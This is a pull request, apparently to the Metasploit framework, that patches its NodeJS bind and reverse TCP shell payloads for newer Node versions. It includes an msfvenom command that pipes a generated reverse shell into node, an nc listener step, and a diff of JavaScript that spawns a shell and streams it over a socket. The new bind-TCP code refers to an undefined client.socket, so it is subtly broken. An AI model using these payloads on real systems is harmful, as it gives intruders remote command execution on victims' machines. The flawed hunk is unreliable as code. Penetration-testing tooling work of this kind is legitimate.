handle missing util.pump in nodejs shell payloads

Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe. 

On current versions the nodejs tcp shell payloads error out:
```
$ node --version
v7.10.0
$ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
<snip>
TypeError: util.pump is not a function
    at Socket.<anonymous> ([stdin]:1:405)
    at Object.onceWrapper (events.js:293:19)
    at emitNone (events.js:86:13)
    at Socket.emit (events.js:188:7)
    at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)
```

With this change, bind and reverse tcp should be tolerant of both new and older versions.

*Reference*
nodejs/node#2531

*Verification steps*

1. Set up a handler (either exploit/multi/handler or simple nc)
```
$ nc -l -v 7777
```

2. Use patched version with various versions of node:
```
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
```

3. Confirm both old and new versions of node result in shell, not error.

lib/msf/core/payload/nodejs.rb

@@ -18,8 +18,13 @@ def nodejs_bind_tcp
         var server = net.createServer(function(socket) {  
           var sh = cp.spawn(cmd, []);
           socket.pipe(sh.stdin);
-          util.pump(sh.stdout, socket);
-          util.pump(sh.stderr, socket);
+          if (typeof util.pump === "undefined") {
+            sh.stdout.pipe(client.socket);
+            sh.stderr.pipe(client.socket);          
+          } else {
+            util.pump(sh.stdout, client.socket);
+            util.pump(sh.stderr, client.socket);
+          }
         });
         server.listen(#{datastore['LPORT']});
       })();
@@ -53,8 +58,13 @@ def nodejs_reverse_tcp(opts={})
         var client = this;
         client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
           client.socket.pipe(sh.stdin);
-          util.pump(sh.stdout, client.socket);
-          util.pump(sh.stderr, client.socket);
+          if (typeof util.pump === "undefined") {
+            sh.stdout.pipe(client.socket);
+            sh.stderr.pipe(client.socket);          
+          } else {
+            util.pump(sh.stdout, client.socket);
+            util.pump(sh.stderr, client.socket);
+          }
         });
       })();
     EOS